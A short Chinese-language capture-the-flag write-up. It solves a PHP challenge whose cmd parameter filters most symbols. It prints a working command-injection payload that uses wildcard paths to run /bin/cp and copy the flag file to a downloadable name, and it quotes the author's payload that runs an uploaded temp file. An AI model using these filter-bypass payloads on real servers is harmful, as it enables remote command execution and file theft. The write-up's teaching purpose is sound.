直接看源代码
发现hint:?cmd=
可以推测大概是构造payload
接下来访问url/?cmd
通过观察发现过滤了不少符号,键盘上能用的没几个了……害
根据大佬给的提示,我们用仅存的几个符号构造payload
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
功能相当于是
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
用cp命令,将flag.txt复制到p.ppp
接下来访问url/p.ppp,下载下来得到flag
关于构造的payload可以解释下?>是关闭php标签 <?=是使用php短标签来返回结果`是执行命令
而出题人给出的payload是
?cmd=?><?=`/??p/p?p??????`;?>
是匹配到/tmp/phpXXXXXX文件,匹配到之后执行